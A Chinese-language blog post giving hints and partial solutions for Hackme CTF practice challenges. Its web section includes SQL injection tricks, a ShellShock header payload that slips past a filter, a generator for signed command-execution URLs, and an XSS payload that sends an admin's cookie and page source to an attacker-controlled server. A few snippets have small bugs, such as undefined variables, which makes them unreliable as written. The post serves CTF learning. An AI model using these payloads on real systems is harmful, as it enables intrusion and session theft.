Hackme CTF 練習站的一些解題心得與提示

這篇文章是用來記錄一些我解 Hackme CTF 上一些題目學到的一些東西,不會直接寫出完整的解法。主要是為了我以後能比較容易記憶起這些東西,當作個筆記而已。

內容會根據自己的解題進度慢慢更新,最後更新 2021/01/29。

Misc

flag

和提示說的一樣,用 Regex 找一下就好了。不過要注意一下 FLAG{...} 中括號裡面是不會有一些特殊符號的。

corgi can fly

就按照它的說明,用 stegsolve 去找就可以了。

television

打開 HxD 搜尋一下,或是直接 strings 尋找也可以。

big

file 檢查一下檔案格式,然後解壓縮。它一共兩層,第二層有 16GB,注意一下。最後的檔案一樣用 HxD 打開搜尋,或是 strings 也可以。

encoder

按照它給的 encoder.py 裡面的邏輯,把它反過來解就好了。這題用 Python 2 比較好解,因為可以直接複製它原本就寫好的函數小改一下就好了。

slow

這題回應速度很慢,不過經過不同的測試會發現它的速度會根據不同的輸入有差別,例如 FLAG{ABCD{ 相比前者會比較慢,所以這個可以用 timing attack:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
const { Socket } = require('net')

function test(flag) {
return new Promise(resolve => {
let start
const socket = new Socket()
socket.connect({ host: 'hackme.inndy.tw', port: 7708 })
socket.on('data', d => {
const s = d.toString()
for (const line of s.split('\n')) {
if (line.includes('flag?')) {
start = Date.now()
socket.write(flag + '\n')
} else if (line.includes('Bye')) {
resolve(Date.now() - start)
socket.destroy()
}
}
})
})
}
function maxmin(arr) {
let mx = Number.MIN_SAFE_INTEGER
let mxi = -1
let mn = Number.MAX_SAFE_INTEGER
let mni = -1
for (let i = 0; i < arr.length; i++) {
if (arr[i] > mx) {
mx = arr[i]
mxi = i
}
if (arr[i] < mn) {
mn = arr[i]
mni = i
}
}
return [mxi, mni]
}
;(async () => {
const chs = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_'.split('')
let flag = ''
while (true) {
const ps = chs.map(c => `FLAG{${flag}${c}`).map(test)
const result = await Promise.all(ps)
const [mxi, mni] = maxmin(result)
if (result[mxi] - result[mni] < 500) break
flag += chs[mxi]
console.log(`FLAG{${flag}}`)
}
console.log(`FLAG{${flag}}`)
})()

暴力破解完需要花將近 10 分鐘的時間,就有耐心的等一等吧。

用 node.js 的原因是因為寫這種平行發 request 的程式比較容易

pusheen.txt

注意一下貓的顏色。

drvtry vpfr

這個看起來就是 substitution cipher 類的東西,但是一開始也沒什麼頭緒,所以就把題目名稱丟到 Google 上,結果得到的是查詢 secret code 的結果...

我就想說 Google 是有什麼奇怪的解碼功能嗎? 所以把加密過的 flag 也丟上去搜尋,卻沒有結果。所以我就想知道這到底是什麼 encoding 方法,但是在 Google 上都查不太到資料,因為都會被修正成 secret code。所以就換使用 DuckDuckGo 搜尋一樣的關鍵字,就有看到一些比較有趣的結果,像是有整個使用這種方法寫的網站都有,還有一些人在各種論壇上使用這種語言來傳遞某些訊息。然後找了找就在這邊看到了這種編碼的原理了,就是打字時都往右按一個按鍵。例如輸入 star burst stream 時都按各個字母的右邊那個鍵,所以能得到 dyst nitdy dytrs,

所以這樣就能很容易的寫出解碼程式出來:

1
2
3
4
5
6
7
ch = 'abcdefghijklmnopqrstuvwxyzABCDEFGHJIKLMNOPQRSTUVWXYZ{}'
sc = 'snvfrghjokl;,mp[wtdyibecuxSNVFRGHJOKL:<MP{WTDYIBECUZ}|' # Keyboard right shift 1 key

Ti = str.maketrans(sc, ch)

print('drvtry vpfr'.translate(T))
print('G:SH}Djogy <u Lrunpstf Smf Yu[omh Dp,ryjomh|'.translate(T))

K nry upi eo;; frvpfr yjod ,rddshr

BZBZ

一進去它就告訴你 You must be a employee from bilibili!,所以我們就想想看怎麼試著用員工的帳號登入。Google 了一下會知道他們的格式是 xxx@bilibili.com,然後輸進去之後會告訴你下一步的提示說 Do you like golang? We use golang for our service and it was opensourced.。這其實是在說之前 Bilibili 原始碼外洩的那個事件,所以就去找一份別人備份的原始碼 clone 下來,搜尋幾組帳號密碼去登入看看就好了。

我測試成功的 email 是 melloi@bilibili.com

Web

hide and seek

檢查原始碼

guestbook

就按照它給的提示,使用 sqlmap 輕鬆解決。

LFI

觀察一下它的網址,有沒有感覺像是讀檔案的感覺? 然後研究一下 php://filter 的用法就可以了。

homepage

console 是你的好朋友。

PS: 那個很奇怪的 JavaScript 檔案是由 aaencode 所編碼過的,不過這個訊息和解題毫無關係

ping

想一想 bash 哪些方法可以在參數中執行指令? $(cmd) `cmd`

有哪些方法可以讀取檔案 print 出來? cat head tail

有哪些方法可以不用打出檔案的全名就能讀檔? *

scoreboard

HTML 原始碼中沒有藏 FLAG,那哪裡還有可能藏資訊呢? 可以想想 HTTP 有什麼東西。

login as admin 0

SQL Injection

它的原始碼告訴了你 ' 會被轉換成 \',那有沒有什麼方法把 \' 前面那個礙眼的 \ 處裡掉呢? 提示: \\ -> \

再來是可以想辦法用 ORDER BY 或是 LIMIT 去讓它選到 admin 的帳號就可以了。

login as admin 0.1

前一題的延伸,用 Union Query 就可以了。

可能用了到的幾個 MySQL 技巧:

1
2
3
SELECT 1,1,column_name,1 FROM whatever_table; # 把 SELECT 的結果變成想要的格式
SELECT table_name FROM information_schema.tables WHERE table_schema = database(); # 取得表格名稱
SELECT column_name FROM information_schema.columns WHERE table_schema = database() AND table_name = "whatever_table"; # 取得欄位名稱

login as admin 1

在 SQL 中,OR 1=1OR/**/1=1 是等價的。

login as admin 3

可以去研究一下 PHP 的 weak comparison 表格,"php" == 0 的結果是 true

然後也請記得 JSON 格式是有類型資訊存在裡面的。

login as admin 4

Redirect,秒殺

login as admin 6

extract() 這個函數會把你物件中的 key => value 賦值給 $key 變數,如果有原本就存在的變數的話也會直接覆蓋,像是下面這樣:

1
2
3
4
5
6
7
$a = 1;
$ar = [
'a' => 3,
'b' => 4
];
extract($ar);
echo $a === 3 && $b === 4; // 1

login as admin 7

也是 php 的 weak comparison 問題,不過這次兩邊都是字串。

看過這個 stackoverflow 的問題後你應該就會了。

login as admin 8

它的原始碼告訴你說它 Session 的處裡不給你看,然後檢查一下 cookie 會看到有 login8cookielogin8sha512 兩個,cookie 的部份是 url encoded 的。解碼之後試著複製丟到其他的線上 sha512 時發現複製到的東西只有一小段令我很困惑,然後就仔細看了一下發現它預設的 cookie 裡面有個 %00,decode 之後自然變成 null byte,所以系統(Windows)的剪貼簿好像就把它當成結尾了...

我的解決方法是到 SHA512 Online 上面開 devtool,把 cookie 貼進去,然後看看 sha512(decodeURIComponent(cookie)) 的值是否和它給的相同,結果也是不出意料之外是一樣的。所以應該只要能自己改 cookie 然後順便更新 sha512 上去就應該能破解了。

看了一下 decoded 的 cookie 的裡面有發現它有個 is_admin,所以試著把它改成 1 之後更新 sha512 再刷新之後就看到 flag 了。

login as admin 8.1

上題最後得到的 flag 的內容中告訴了你一個關鍵字 object injection,去查了一下發現原來 php 有一組函數叫 serializeunserialize,可以把一些資料用一種特別的格式編碼起來,然後那個格式正好就和 cookie 裡面的是一樣的。

所以再稍微讀一下那個 cookie 的內容會發現有個 debug 是個 boolean 變數,預設的值是 0,這就讓我想到一開始看到的 source code 裡面有個判斷 debug=1 的情況會讓它進入 session 的 debug 模式,但它原本卻都說 Debug mode is not enabled,所以合理推測那個應該就是 debug mode 的值。

一樣的方法改完 cookie 後順便在網址上加上 debug=1 後就成功進入了 debug mode,但是看一下卻發現內容根本和 show_source=1 的狀態一樣,不曉得是怎麼回事。

之後再繼續檢查一下 cookie 後就發現它還有個 debug_dump,後面跟著 index.php,感覺就像是指定 debug mode 要輸出的檔案,所以試著把 index.php 改成 session.php 後就看到原始碼了。

改字串的時候記得順便把字串的長度改一改,不然它 unserialize 會失敗,例如 s:9 -> s:11

原始碼簡單看了一下會發現它只允許你讀那個目錄之下的檔案,然後裡面也沒有 flag,那我就再改一次讓它去讀 config.php,就看到了上一題和這題的 flag 內容了。

dafuq-manager 1

guest 登入後可以下載到網站的 source code,建議要讀一下,然後它的提示也告訴你了改 cookie,所以把 cookie show_hidden 改成 yes 就能找到 flag 了。

內心 OS: 那個 source code 讀起來很痛苦... 各種全域變數...

dafuq-manager 2

上一題已經告訴你 flag 是要想辦法登入為 admin 才有的,所以要想辦法找到 admin 的密碼。而帳密實際上就存在 .config/.htusers.php 裡面,不過原始碼版本的沒有寫,所以需要去讀讀看那個檔案。

讀原始碼的 fun_edit.php 中的 edit_file 函數,會發現到關鍵在於 get_show_item 這個函數。不過你上一題改的 cookie 讓你的 $item. 作為開頭,所以就能讀很多的檔案了。

接下來還要發現到原始碼裡面有個 data 資料夾,就能看出結構來,所以就在 edit 頁面給 item=../../.config/.htusers.php 就能讀到使用者資料了。取得 admin 密碼的 hash 之後去查表就能找到是 how do you turn this on 了,推薦 CrackStation。登入後就能得到 flag 了。

dafuq-manager 3

上一題告訴了你要去網頁資料夾的 flag3 找,還說要用 shell 才行,所以搜尋一下 exec 找到 fun_debug.php 就是這次的關鍵了。參數的 action 改成 debug 就能呼叫這個檔案。

do_debug 函數中有下方幾行,這個部分要靠 strcmp$dir 不是字串的時候會回傳 0,所以傳個 dir[]=1 就搞定了。

1
2
3
4
$dir = $GLOBALS['__GET']['dir'];
if (strcmp($dir, "magically") || strcmp($dir, "hacker") || strcmp($dir, "admin")) {
show_error('You are not hacky enough :(');
}

接下來後面就是用 base64 和 hash 去執行指令了,用下方的 php 就能達成了。還有要記得 php 中字串是可以作為函數來呼叫的,所以可以繞過它的函數黑名單。

1
2
3
4
5
6
7
8
9
10
<?php
$sec='KHomg4WfVeJNj9q5HFcWr5kc8XzE4PyzB8brEw6pQQyzmIZuRBbwDU7UE6jYjPm3';
#$cmd='var_dump(scandir("/var/www/webhdisk/flag3"));'; # read dir, PS: the file flag3 isn't directly readable
#$cmd='echo "<pre>".file_get_contents("/var/www/webhdisk/flag3/Makefile")."</pre>";'; # see Makefile about usage
#$cmd='echo "<pre>".file_get_contents("/var/www/webhdisk/flag3/meow.c")."</pre>";'; # see source code
$cmd='$a="ex";$b="ec";$e=$a.$b;echo $e("cd /var/www/webhdisk/flag3/ && ./meow ./flag3");'; # execute to get flag
$hmac=hash_hmac('sha256',$cmd,$sec);
$base='https://dafuq-manager.hackme.inndy.tw/index.php?action=debug&dir[]=1&command=';
$url=$base.urlencode(base64_encode($cmd).'.'.$hmac)."\n";
echo $url;

wordpress 1

在文章列表中可以找到一篇叫 "Backup File" 的文章,裡面有 source code 的 Dropbox 連結,先下載下來。接下來我用 vscode 打開,搜尋 flag 然後仔細找找看有沒有可疑的地方,然後也真的有。

你會在 wp-content/plugins/core.php 發現到可疑的東西。密碼的部分 md5 查表可以找到 cat flag,不過輸進去之後了還是不行,因為它說只能從 127.0.0.1 瀏覽。但你可以檢查一下 wp_get_user_ip 這個函數,它會從 $_SERVER['HTTP_X_FORWARDED_FOR'] 讀 ip,所以加個 X-Forwarded-For: 127.0.0.1 的 header 就破解得到 flag 了。

wordpress 2

上題的 flag 內容告訴了你範圍在主題裡面,所以也只能在裡面慢慢找有沒有可疑的地方。(我是有去查別人 writeup 的提示,因為懶...)

目標檔案是 wp-content/themes/astrid/template-parts/content-search.php (搜尋頁面),裡面有個很可疑的一行:

1
<!-- debug:<?php var_dump($wp_query->post->{'post_'.(string)($_GET['debug']?:'type')}); ?> -->

這個相當於取得目前這個 post 的 post_* 內容,如果有 debug 參數就取 post_{debug},否則是 post_type

關於那奇怪的語法可以參考這兩篇: 1 2

不過我們要怎麼知道要取得什麼呢? 如果你搜尋空白字串,可以在第二頁找到一篇加密的文章叫 FLAG2,然後我們再參考一下官方的 post 物件就能發現有 post_password 這種東西。所以我們的目標 url 就是: https://wp.hackme.inndy.tw/page/2?s=&debug=password 了。

取得密碼後輸入進去,就能取得 flag 了。

webshell

檢查一下原始碼,然後想辦法改一下 php 就能得到它後台的 php 原始碼了,然後就針對它的碼去生成對應的 query string 就好了。不過要注意一下 (a^b)^b=a,以及它到底在 hash 的是哪個變數。

1
2
3
4
5
6
7
8
<?php
$ip = "YOUR_IP_HERE";
$executed_cmd = $_GET['cmd'];

$cmd = hash('SHA512', $ip) ^ (string)$executed_cmd;
$key = $_SERVER['HTTP_USER_AGENT'] . sha1("webshell.hackme.inndy.tw");
$sig = hash_hmac('SHA512', $executed_cmd, $key);
echo "cmd=".urlencode($cmd)."&sig=".$sig;

還有注意一下 flag 藏在隱藏檔裡面。

command-executor

首先就是先探索一下整個網站有哪些功能,然後很快的就會發現說網址的參數 func 似乎是和檔案名是有關連的,所以可以測試一個 func=ls,然後也確實會有個方便的 ls 工具能方便你探索整個系統。然後在檔案系統裡面探索後,很快就能找到根目錄下有幾個和 flag 有關的檔案。只是我們目前只有列出檔案的權限,還沒有方法去讀檔。

其實倒退一步回到剛剛的 func 參數,合理懷疑它其實和 include 有關,例如 include("$func.php"); 之類的。既然是這樣,可以用前面題目用過的 LFI 去試著讀檔看看。例如 func=php://filter/read=convert.base64-encode/resource=ls 可以讀到 ls.php 的內容,所以也能讀 index.php 的內容。

接下來看到 index.php 的內容裡面會先發現它有個 waf,專門擋 flag()\s*{\s*:;\s*}; 這樣的東西。從這兩個其實可以看出大概是想擋 shell 的。

然後再往下會看到一個很關鍵的一段:

1
2
3
4
5
foreach($_SERVER as $key => $val) {
if(substr($key, 0, 5) === 'HTTP_') {
putenv("$key=$val");
}
}

那個 putenv 看了就相當可疑,去搜尋一下 putenv php exploit 這組關鍵字之後會找到一個名詞叫 ShellShock,可以看到說它是一個 bash 早期版本的 bug,然後會從環境變數中執行函數,而且維基百科那篇中也有 payload: () { :;}; echo vulnerable,可以發現到前面那一段和上面 waf 的那個符合。

接下來要執行 shell 就簡單了,因為上面的那個 regex 實際上蠻容易繞過的,像是我用 () { _:; }; 可以繞過,所以送像是 X-C8763: () { _:; }; echo hello 的 header 就能成功執行 shell 指令。

有時如果執行指令沒有輸出時,可能是那個指令輸出到 stderr 了,加個 2>&1 就好

再來不知為何像是 cat 的指令無法直接起作用,需要使用 /bin/cat 才行

接下來當然是去讀讀看 /flag 檔案,只是會發現說權限有問題,只有 root 才能讀,所以讀讀看旁邊的 /flag-reader.c,會得到一個 C 的程式。那個程式會隨機產生 16 bytes 的資料然後輸出出來,你需要把那 16 bytes 輸入進去,只要一樣的話它就會從 argv[1] 中用 root 權限(setuid)讀檔後輸出。所以我們的想法很簡單,就是想辦法把 stdout pipe 回去 stdin。而這個做法也不難,就 program > file < file 就搞定了,還能把後來輸出的 flag 給寫到檔案裡面。

只是問題是會發現說沒辦法寫入檔案,因為沒有權限。這種時候如果熟悉點應該能很快的想到說 /tmp 或是 /var/tmp 比較有可能有寫入的權限,所以用前面的 func=ls 檢查一下就會發現說 /var/tmp 確實可寫入,還有其他人在這邊寫入過的紀錄。所以寫入之後把檔案讀出來就能看到 flag 了。

xssme

註冊完之後會收到一封來自 admin 的信說 I will read all your mails but never reply.,這代表它真的會打開你寄給他的信來閱讀的,這就有觸發 XSS 的機會。(實際上應該是用模擬的,headless browser 之類的)

關於 XSS 的觸發 tag 建議參考一下這份資料,因為它會擋一些關鍵的單字如 <script onerror 之類的,不過只要拿那裡面的其他 payload 就可以了,例如我測試到 <svg/onload=""> 是可以的。

然後你可能還需要一個伺服器來接收 XSS 之後的 request,想辦法讀資料。我是用 codesandbox 提供的服務,在上面弄個簡單的 node.js express server 把收到的 path 給輸出出來。

然後之後就用 location.href='https://YOUR_SERVER/test' 之類的東西,就可以了。如果遇到它告訴你遇到禁止的字元的話就用 html entities 轉譯處裡,例如這個

而這題就只要取得 admin 的 cookie (document.cookie) 就好了,所以就在 url 後面接上 document.cookie,也能選擇性的把它編碼(btoa encodeURIComponent)過之後再傳。

得到 cookie 後就能直接在裡面找到 Flag 了。

xssrf leak

這題是 xssme 的延伸,要你想辦法從某個 php 的原始碼中找到 flag。

上題所得到的 cookie 中有包含 PHPSESSID,但你實際上使用這個是無效的,因為它有限制只能從 localhost 存取 admin。就算你使用 X-Forwarded-For 去改也是無效的。

先再看一次題目名稱看看,xssrf 中的 ssrf 指的是 Server-side request forgery,就是想辦法讓對方在內網中發送一些 request 然後取得內容。

以這題來說,我們可以透過 Ajax 去抓取它網站上的資料。不過它模擬 JS 的軟體應該是很舊的樣子,fetch () => {} XMLHttpRequest.prototype.onload 一個都不支援,所以只能像是下面那樣用古老的寫法來做 Ajax。

1
2
3
4
5
6
7
8
xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
location.href = 'https://YOUR_SERVER/' + btoa(xhr.responseText)
}
}
xhr.open('GET', '.') // '.' 可以換成其他頁面,如果只是要存取它開你信件的話其實也不用 Ajax,直接 document.body.innerHTML 解決
xhr.send()

之後我們會先取得 admin 看到的信件頁面原始碼,會在裡面的選單發現到它有多出一些頁面,如 setadmin.php request.php 之類的。然後就用一樣的方法去取得那些頁面的原始碼,然後猜測它的功能並測試。之後會發現 request.php 頁面似乎是個可以對外部發送 request 的頁面(可以自己測試看看),有可能是用 file_get_contents 實作的,所以搞不好可以拿來讀檔案。

不過這時會不曉得該讀哪個檔案,所以我只好去查了一下關於這題其他人的解法,發現到還有 /robots.txt 可以查看。然後就在裡面發現到原來還有個 config.php,那八成就是我們的目標了。

然後我們要讀到檔案的方法可以讓它的 url 參數塞 ./config.php 之類的,不過發現到沒有效果,那就還有 file:// 格式的 uri 能用,不過這個格式只能為絕對路徑,所以得猜一下檔案目錄是在哪裡。而這個的解答實際上就是 /var/www/html/config.php,算是個還蠻常見的目標(其他的題目好像也都放在同個名稱的目錄下)。讀取到那個檔案之後就在裡面找到 Flag 了,這題就這樣破解了。

PS: 你實際上還可以再讓它讀讀看 request.php,發現到它原來是用 shell_exec curl escapeshellarg 實作的,所以真的只能用 file:// 格式的才能讀到檔案。

Reversing

helloworld

把執行檔丟進反編譯的軟體裡面,找到 main 的地方之後很快的就能找到它的 magic number 了。

simple

ltrace, Rot cipherAscii

passthis

一樣先丟進反編譯器裡,然後透過搜尋 output 找到它的主程式。接下來會發現它會讀 input,然後先檢查第一個字元是否為 0x46 (F),如果是的話就繼續按照某個奇怪的規則檢查下去。這時我就弄個個迴圈給他試下一個字元是什麼,結果就發現第二個字元是 L,所以合理推斷可能是 FLAG{ 作為開頭,輸入進去他也說是對的。所以就寫個簡單的 python 程式直接暴力枚舉出 flag 就好了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import * # pwntools

context.log_level = 'ERROR'
flag = 'FLAG{'

while True:
for x in range(30, 150):
c = chr(x)
p = process('./passthis.exe')
f = flag+c
b = bytearray(f, 'ascii')
try:
p.sendline(b)
except EOFError:
print('eof')
r = p.recvline()
if 'Good' in r.decode('ascii'):
print(f'Good char {c}')
flag = f
p.close()
break
else:
p.close()
print(flag)

pyyy

把下載的 pyc 檔丟給 decompiler,然後在要求輸入的地方稍微改一下,然後執行後就會輸出 FLAG 了。

accumulator

反編譯之後看一下會發現它先讀輸入,然後計算它的 sha512,然後分別對 hash 和原字串呼叫個檢查用的函數。而檢查函數中會和記憶體某塊的資料比較字串的前綴和,所以把那塊記憶體 dump 出來然後用相減的方法還原回去就好了。

Dump: dump binary memory data.bin 0x601080 0x601398 (gdb)

1
2
3
4
5
6
7
8
9
10
import os
data = []
with open('./data.bin', 'rb') as f:
sz = f.seek(0, os.SEEK_END)
f.seek(0)
for i in range(sz//4):
data.append(int.from_bytes(f.read(4), byteorder='little'))

decoded = [b-a for a, b in zip(data[:-1], data[1:])]
print(''.join(map(chr, decoded)))

這樣就能得到 sha512 的值和 flag 了,不過我倒是不曉得為什麼要 sha512,因為它明明就有明文的前綴和了。

GCCC

用 IDA 開啟後會看到它的一些函數名稱很有 C# 的樣子,所以推測是 C# 的程式。反編譯的話推薦使用 dotPeek,JetBrains 的產品。

下載完丟進去後就可以很清楚的看到它裡面的邏輯,讀某個值進來後做一些處裡,然後看看有沒有符合條件,最後生成 flag 出來,所以問題就剩下怎麼解那個值出來。

解這個可能有其他的方法,不過直接用 z3 上去解真的比較簡單:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from z3 import *

numArray = bytearray([164, 25, 4, 130, 126, 158, 91, 199, 173, 252, 239, 143, 150,
251, 126, 39, 104, 104, 146, 208, 249, 9, 219, 208, 101, 182, 62, 92, 6, 27, 5, 46])

chrs = list("ABCDEFGHIJKLMNOPQRSTUVWXYZ{} ")

s = Solver()
result = BitVec('result', 40) # 32+8 for shifting

s.add(result >= 1 << 31)
s.add(result <= 1 << 32)

num = 0
for i in range(32):
c = numArray[i] ^ Extract(i+7, i, result) ^ num
if i < 5:
x = list("FLAG{")
s.add(c == ord(x[i]))
elif i == 31:
s.add(c == ord('}'))
else:
s.add(Or([c == ord(x) for x in chrs]))
num ^= numArray[i]

if s.check() == sat:
print(s.model())
else:
print('unsat')
print(s.unsat_core())

值解出來之後可以自己再用同樣的算法把 flag 算出來,或是直接打開那個程式把值輸入進去就有 flag 了。

ccc

反編譯之後會發現它有個 verify 函數,做的是就是計算 crc32(input[0:3]), crc32(input[0:6]) 一直到 crc32(input[0:42]),然後每次都會和預先有的一個 hashes 陣列比較。因為每次只增加三個字元的緣故,可以暴力破解,每次枚舉三個字元就好了。大概 98^3*14crc32 計算就能搞定。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from binascii import crc32
from itertools import product

hashes = [0xd641596f, 0x80a3e990, 0xc98d5c9b, 0x0d05afaf, 0x1372a12d, 0x5d5f117b, 0x4001fbfd, 0xa7d2d56b, 0x7d04fb7e, 0x2e42895e, 0x61c97eb3, 0x84ab43c3,
0x9fc129dd, 0xf4592f4d]

chs = [chr(x) for x in range(30, 128)]

flag = ''

for h in hashes:
for x in product(chs, chs, chs):
y = ''.join(x)
if crc32(bytearray(flag+y, 'ascii')) == h:
flag += y
break
print(flag)

有些時候搜尋範圍小的時候直接暴力比較簡單,像我還有試過用 z3 寫,結果弄不出來,還是用簡單的枚舉法。

bitx

這個程式一執行就叫你把 flag 當做參數傳進去,然後它會檢驗是不是對的。反編譯後也會看到它呼叫 verify(argv[1]),而 verify 就是關鍵的檢驗函數。

verify 用 IDA 反編譯出來的結果如下:

1
2
3
4
5
6
7
8
9
10
11
int __cdecl verify(int input)
{
int i; // [esp+Ch] [ebp-4h]

for ( i = 0; *(_BYTE *)(i + input) && *(_BYTE *)(i + 134520896); ++i )
{
if ( *(_BYTE *)(i + input) + 9 != (((*(_BYTE *)(i + 134520896) & 0xAA) >> 1) | (unsigned __int8)(2 * (*(_BYTE *)(i + 134520896) & 0x55))) )
return 0;
}
return 1;
}

你會發現它會從一個奇怪的記憶體位置 134520896 讀取值,這個轉成 16 進位是 0x804a040,然後查看那塊的記憶體就會看到有 42 byte 的資料在那邊,可以先存起來。

然後繼續看 loop 就會發現它一次讀一個字串,然後判斷你的 input 和那塊記憶體所存的資料做運算和比對。而那行判斷式如果用比較簡單的寫法就像這樣: input[i]+9 != (((data[i] & 0xAA) >> 1) | (2*(data[i] & 0x55))),明顯是個簡單的條件。這應該是可以直接枚舉 input[i] 出來,然後能得到 flag,不過我是直接用 z3 下去算比較簡單:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from z3 import *

data = [0x8F, 0xAA, 0x85, 0xA0, 0x48, 0xAC, 0x40, 0x95, 0xB6, 0x16, 0xBE, 0x40, 0xB4, 0x16, 0x97, 0xB1, 0xBE, 0xBC, 0x16, 0xB1,
0xBC, 0x16, 0x9D, 0x95, 0xBC, 0x41, 0x16, 0x36, 0x42, 0x95, 0x95, 0x16, 0x40, 0xB1, 0xBE, 0xB2, 0x16, 0x36, 0x42, 0x3D, 0x3D, 0x49]

l = len(data)
flag = BitVec('flag', l*8)

s = Solver()

for i in range(l):
byte = Extract((i+1)*8-1, i*8, flag)
s.add(byte+9 == (((data[i] & 0xAA) >> 1) | (2*(data[i] & 0x55))))

if s.check() == sat:
fl = s.model()[flag].as_long()
bs = bytes.fromhex(hex(fl)[2:])
print(''.join([chr(b) for b in bs])[::-1])
else:
print('unsat')

2018-rev

這個就想辦法用它的參數給就好了,像是 argv envp 都好處理:

1
2
3
4
5
6
7
8
9
10
11
12
const cp = require('child_process')

const args = Array.from({ length: 2017 }).map(_ => 'a')
const p = cp.spawn('./2018.rev', args, {
argv0: '\1',
env: {
'\1': ''
}
})
p.stdout.on('data', d => {
console.log(d.toString())
})

然後它會跟你說需要在正確的時間執行才行,所以直接改時間就好了 sudo date -s '2018-01-01 00:00:00' && node 2018.js

我不知道為什麼 libfaketime 沒有效果,所以還是只能改時間

what-the-hell

執行後會發現要輸入某個 key 才能得到 flag,然後 Decompile 之後會發現這個程式的流程大概像是這樣:

1
2
3
4
5
6
7
8
9
10
11
12
int main() {
int p1, p2;
scanf("%u-%u", &p1, &p2);
int key = calc_key3(p1, p2);
if (key == 0) {
puts("Bad key, try again.");
}
else {
decrypt_flag(p1, p2, key);
}
return 0;
}

calc_key3 裡面先有個 if 判斷 p1, p2 是否符合一些條件,然後再開始計算 key,否則返回 0。而那些條件可以用 z3 快速解開:

1
2
3
4
5
6
from z3 import *

p1 = BitVec('p1', 32)
p2 = BitVec('p2', 32)
solve(p1*p2 == -0x223cbece, (p2+0x10)*(p1 ^ 0x7e)
== 0x732092be, (p1-p2) & 0xfff == 0xcdf)

然後條件成立之後它會有個奇怪的迴圈慢慢算 count 次數,然後每次都會檢查 what(cnt) == p1 是否成立,成立的話則返回 cnt * p2 + 1 作為 key。不過 what(int) 是個執行非常耗時的遞迴函數,但也不用擔心,因為實際上看一下 what 後會很輕易的發現到它其實是 fib...

這邊我一開始還用 python 寫,不過算出來的 key 並不對,後來就改用 C 寫了,可能是 Overflow, Signed, Unsinged 等等的問題...

所以我最後把 calc_key3 改寫後再把前面算出來的 p1, p2 和起來就能算出 key 了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>

int fib[9999999 + 2];
int calc_key3(unsigned int p1, int p2) {
unsigned int u;
int cnt;

if ((((p1 * p2 == -0x223cbece) &&
((p2 + 0x10) * (p1 ^ 0x7e) == 0x732092be)) &&
((p1 - p2 & 0xfff) == 0xcdf))) {
cnt = 1;
while (cnt < 9999999) {
u = fib[cnt];
if (u == p1) {
return cnt * p2 + 1;
}
cnt = cnt + 1;
}
}
return 0;
}

int main(void) {
unsigned long p = 0, c = 1, i = 1;
while (i <= 9999999 + 1) {
fib[i] = c;
int t = p;
p = c;
c = (c + t) % (1 << 31);
i++;
}
unsigned int key = calc_key3(2136772529, 1234567890);
printf("%u", key);
return 0;
}

接下來取得 p1, p2, key 之後就要想辦法讓它執行了,但是 decrypt_flag 有點複雜,重寫搞不好問題還比較大,所以替代方案就是想辦法在原本的 binary 讓它按照我的值去執行,跳過 calc_key3。只是要修改 binary 大概不是件簡單的事,至少我不會修改...

所以另一招就是使用 gdb,用 gdb 開啟後先在 calc_key3 的地方設置斷點,然後執行時按照格式輸入 $p1-$p2 就會進到斷點,這個時候根據 decompiler 的結果知道說 calc_key3 的回傳值是存在 eax 裡面,所以就 set $eax = key 然後再 ret,接下來讓它繼續執行就會 print 出正確的 flag 了。

mov

打開來看會發現它一大堆 mov,我猜應該是用 movfuscator 之類的東西弄的,所以就找了 demovfuscator 來試著處裡,不過不知是什麼原因都一直回報錯誤,沒辦法成功 deobfuscate。不過其實它的輸入是只要是前幾個字元完全正確就會回 Good,不然就回 Bad,所以可以直接暴力破解:

這個程式和我破 passthis 那題的程式基本上是一樣的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import * # pwntools

context.log_level = 'ERROR'
flag = 'FLAG{'

while True:
for x in range(30, 150):
c = chr(x)
p = process('./mov')
f = flag+c
b = bytearray(f, 'ascii')
try:
p.sendline(b)
except EOFError:
print('eof')
r = p.recvline()
if 'Good' in r.decode('ascii'):
print(f'Good char {c}')
flag = f
p.close()
break
else:
p.close()
print(flag)

a-maze

反編譯之後可以很容易的看出它會針對讀進來的 map 資料做一些運算直到遇到 -1 為止,而它最關鍵的一行是 LODWORD(val) = *(_DWORD *)(map_data + (val << 9) + 4LL * (*input & 0x7F));。 這邊可以看出說它讀 data 的 index 的 2~8 bits 是 flag 的字元,然後 9 以上的 bit 都是值,所以我們可以讓它反過來做就好了。

不過有個需要注意的地方是它在讀取時是讀 DWORD 的,所以讀資料的時候要讀成 int,但是在處裡 index 的時候都要乘 4:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import os
data = []
with open('map', 'rb') as f:
sz = f.seek(0, os.SEEK_END)
f.seek(0)
for i in range(sz//4):
data.append(int.from_bytes(f.read(4), byteorder='little'))

def get_indexes(s, lst): return (i for i, e in enumerate(lst) if e == s)

possible_start_indexes = get_indexes(-1 & 0xffffffff, data)
for idx in possible_start_indexes:
# The pointer points to bytes, but read as dword, so it needs to *4 when calculating
if chr(((idx*4) % (1 << 9)) >> 2) == '}':
val = (idx*4) >> 9
flag = ''
while val != 0:
idx = data.index(val)
val = (idx*4) >> 9
c = chr(((idx*4) % (1 << 9)) >> 2)
flag = c+flag
print(flag)

esrever-mv

